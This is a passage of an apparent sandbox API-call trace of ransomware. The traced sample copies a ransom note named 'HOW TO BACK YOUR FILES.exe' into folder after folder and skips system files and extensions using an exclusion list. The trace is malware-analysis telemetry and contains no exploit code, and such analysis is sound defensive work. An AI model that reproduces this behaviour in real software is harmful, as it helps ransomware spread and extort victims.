	[0040.087] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ffe4470, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0040.087] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0040.087] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ffe4470, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0040.087] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0040.087] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0040.087] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0"
	[0040.087] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599a78 | out: hHeap=0x580000) returned 1
	[0040.087] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0040.087] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0") returned 50
	[0040.087] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0"
	[0040.087] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.087] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.091] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.091] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3000a5d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3000a5d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0040.092] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.092] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.092] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.092] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3000a5d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3000a5d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.092] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.092] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.092] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.092] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.092] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0040.092] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.092] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0040.092] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0040.092] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0040.092] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0040.092] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0040.092] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0040.092] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0040.092] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
	[0040.092] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0040.092] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0040.092] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0040.092] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0040.092] lstrlenW (lpString="en-US") returned 5
	[0040.092] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\*") returned 52
	[0040.092] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0040.092] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0040.092] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591640
	[0040.092] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0040.092] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3000a5d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3000a5d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0040.092] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0040.092] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3000a5d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3000a5d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0040.092] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0040.093] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0040.093] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US"
	[0040.093] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0040.093] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0040.093] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned 56
	[0040.093] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US"
	[0040.093] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.093] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.099] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.099] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x30030730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30030730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0040.100] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.100] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.100] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.100] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x30030730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30030730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.100] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.100] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.100] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.100] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.100] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2436abaa, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xabde2c6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa65a8bbf, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x2f22, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Help_CValidator.H1D", cAlternateFileName="HELP_C~1.H1D")) returned 1
	[0040.100] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.100] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="Apollon865.txt.exe") returned 1
	[0040.100] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2=".") returned 1
	[0040.100] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="..") returned 1
	[0040.100] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="windows") returned -1
	[0040.100] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="bootmgr") returned 1
	[0040.100] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="temp") returned -1
	[0040.100] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="pagefile.sys") returned -1
	[0040.100] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="boot") returned 1
	[0040.100] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="ids.txt") returned -1
	[0040.100] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2="ntuser.dat") returned -1
	[0040.100] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="Help_CValidator.H1D" | out: lpString1="Help_CValidator.H1D") returned="Help_CValidator.H1D"
	[0040.100] lstrlenW (lpString="Help_CValidator.H1D") returned 19
	[0040.100] lstrlenW (lpString="Apollon865") returned 10
	[0040.100] lstrcmpiW (lpString1="idator.H1D", lpString2="Apollon865") returned 1
	[0040.100] lstrlenW (lpString=".dll") returned 4
	[0040.100] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2=".dll") returned 1
	[0040.100] lstrlenW (lpString=".lnk") returned 4
	[0040.100] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2=".lnk") returned 1
	[0040.100] lstrlenW (lpString=".ini") returned 4
	[0040.100] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2=".ini") returned 1
	[0040.100] lstrlenW (lpString=".sys") returned 4
	[0040.100] lstrcmpiW (lpString1="Help_CValidator.H1D", lpString2=".sys") returned 1
	[0040.100] lstrlenW (lpString="Help_CValidator.H1D") returned 19
	[0040.101] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="Help_MKWD_AssetId.H1W" | out: lpString1="Help_MKWD_AssetId.H1W") returned="Help_MKWD_AssetId.H1W"
	[0040.101] lstrlenW (lpString="Help_MKWD_AssetId.H1W") returned 21
	[0040.101] lstrlenW (lpString="Apollon865") returned 10
	[0040.101] lstrcmpiW (lpString1="ssetId.H1W", lpString2="Apollon865") returned 1
	[0040.101] lstrlenW (lpString=".dll") returned 4
	[0040.101] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2=".dll") returned 1
	[0040.101] lstrlenW (lpString=".lnk") returned 4
	[0040.101] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2=".lnk") returned 1
	[0040.101] lstrlenW (lpString=".ini") returned 4
	[0040.101] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2=".ini") returned 1
	[0040.101] lstrlenW (lpString=".sys") returned 4
	[0040.101] lstrcmpiW (lpString1="Help_MKWD_AssetId.H1W", lpString2=".sys") returned 1
	[0040.101] lstrlenW (lpString="Help_MKWD_AssetId.H1W") returned 21
	[0040.101] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="Help_MKWD_BestBet.H1W" | out: lpString1="Help_MKWD_BestBet.H1W") returned="Help_MKWD_BestBet.H1W"
	[0040.101] lstrlenW (lpString="Help_MKWD_BestBet.H1W") returned 21
	[0040.101] lstrlenW (lpString="Apollon865") returned 10
	[0040.101] lstrcmpiW (lpString1="estBet.H1W", lpString2="Apollon865") returned 1
	[0040.101] lstrlenW (lpString=".dll") returned 4
	[0040.101] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2=".dll") returned 1
	[0040.101] lstrlenW (lpString=".lnk") returned 4
	[0040.101] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2=".lnk") returned 1
	[0040.101] lstrlenW (lpString=".ini") returned 4
	[0040.101] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2=".ini") returned 1
	[0040.101] lstrlenW (lpString=".sys") returned 4
	[0040.101] lstrcmpiW (lpString1="Help_MKWD_BestBet.H1W", lpString2=".sys") returned 1
	[0040.101] lstrlenW (lpString="Help_MKWD_BestBet.H1W") returned 21
	[0040.101] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="Help_MTOC_help.H1H" | out: lpString1="Help_MTOC_help.H1H") returned="Help_MTOC_help.H1H"
	[0040.101] lstrlenW (lpString="Help_MTOC_help.H1H") returned 18
	[0040.101] lstrlenW (lpString="Apollon865") returned 10
	[0040.101] lstrcmpiW (lpString1="C_help.H1H", lpString2="Apollon865") returned 1
	[0040.101] lstrlenW (lpString=".dll") returned 4
	[0040.101] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2=".dll") returned 1
	[0040.101] lstrlenW (lpString=".lnk") returned 4
	[0040.101] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2=".lnk") returned 1
	[0040.102] lstrlenW (lpString=".ini") returned 4
	[0040.102] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2=".ini") returned 1
	[0040.102] lstrlenW (lpString=".sys") returned 4
	[0040.102] lstrcmpiW (lpString1="Help_MTOC_help.H1H", lpString2=".sys") returned 1
	[0040.102] lstrlenW (lpString="Help_MTOC_help.H1H") returned 18
	[0040.102] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="Help_MValidator.H1D" | out: lpString1="Help_MValidator.H1D") returned="Help_MValidator.H1D"
	[0040.102] lstrlenW (lpString="Help_MValidator.H1D") returned 19
	[0040.102] lstrlenW (lpString="Apollon865") returned 10
	[0040.102] lstrcmpiW (lpString1="idator.H1D", lpString2="Apollon865") returned 1
	[0040.102] lstrlenW (lpString=".dll") returned 4
	[0040.102] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2=".dll") returned 1
	[0040.102] lstrlenW (lpString=".lnk") returned 4
	[0040.102] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2=".lnk") returned 1
	[0040.102] lstrlenW (lpString=".ini") returned 4
	[0040.102] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2=".ini") returned 1
	[0040.102] lstrlenW (lpString=".sys") returned 4
	[0040.102] lstrcmpiW (lpString1="Help_MValidator.H1D", lpString2=".sys") returned 1
	[0040.102] lstrlenW (lpString="Help_MValidator.H1D") returned 19
	[0040.102] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="Help_MValidator.Lck" | out: lpString1="Help_MValidator.Lck") returned="Help_MValidator.Lck"
	[0040.102] lstrlenW (lpString="Help_MValidator.Lck") returned 19
	[0040.102] lstrlenW (lpString="Apollon865") returned 10
	[0040.102] lstrcmpiW (lpString1="idator.Lck", lpString2="Apollon865") returned 1
	[0040.102] lstrlenW (lpString=".dll") returned 4
	[0040.102] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2=".dll") returned 1
	[0040.102] lstrlenW (lpString=".lnk") returned 4
	[0040.102] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2=".lnk") returned 1
	[0040.102] lstrlenW (lpString=".ini") returned 4
	[0040.102] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2=".ini") returned 1
	[0040.102] lstrlenW (lpString=".sys") returned 4
	[0040.102] lstrcmpiW (lpString1="Help_MValidator.Lck", lpString2=".sys") returned 1
	[0040.102] lstrlenW (lpString="Help_MValidator.Lck") returned 19
	[0040.102] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q" | out: lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q") returned="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q"
	[0040.102] lstrlenW (lpString="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q") returned 46
	[0040.102] lstrlenW (lpString="Apollon865") returned 10
	[0040.103] lstrcmpiW (lpString1="32D95}.H1Q", lpString2="Apollon865") returned -1
	[0040.103] lstrlenW (lpString=".dll") returned 4
	[0040.103] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2=".dll") returned 1
	[0040.103] lstrlenW (lpString=".lnk") returned 4
	[0040.103] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2=".lnk") returned 1
	[0040.103] lstrlenW (lpString=".ini") returned 4
	[0040.103] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2=".ini") returned 1
	[0040.103] lstrlenW (lpString=".sys") returned 4
	[0040.103] lstrcmpiW (lpString1="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2=".sys") returned 1
	[0040.103] lstrlenW (lpString="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q") returned 46
	[0040.103] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Favorites", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Favorites") returned="C:\\Users\\All Users\\Favorites"
	[0040.103] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b62c8 | out: hHeap=0x580000) returned 1
	[0040.103] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0040.103] lstrlenW (lpString="C:\\Users\\All Users\\Favorites") returned 28
	[0040.103] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Favorites" | out: lpString1="C:\\Users\\All Users\\Favorites") returned="C:\\Users\\All Users\\Favorites"
	[0040.103] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.103] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0040.103] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0040.104] GetLastError () returned 0x0
	[0040.104] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0040.104] ReadFile (in: hFile=0x14c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0040.104] CloseHandle (hObject=0x14c) returned 1
	[0040.104] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0040.104] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.104] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Favorites\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30030730, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30030730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0040.104] GetLastError () returned 0x5
	[0040.104] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Favorites\\* FindFirstFile error 5\r\n") returned 62
	[0040.104] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Favorites\\* FindFirstFile error 5\r\n") returned 62
	[0040.104] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0040.104] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe29
	[0040.104] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x3e, lpOverlapped=0x0) returned 1
	[0040.104] CloseHandle (hObject=0x14c) returned 1
	[0040.105] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0040.105] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Documents", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Documents") returned="C:\\Users\\All Users\\Documents"
	[0040.105] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6118 | out: hHeap=0x580000) returned 1
	[0040.105] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0040.105] lstrlenW (lpString="C:\\Users\\All Users\\Documents") returned 28
	[0040.106] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Documents" | out: lpString1="C:\\Users\\All Users\\Documents") returned="C:\\Users\\All Users\\Documents"
	[0040.106] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.106] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0040.106] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0040.106] GetLastError () returned 0x0
	[0040.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0040.106] ReadFile (in: hFile=0x14c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0040.106] CloseHandle (hObject=0x14c) returned 1
	[0040.106] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0040.106] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
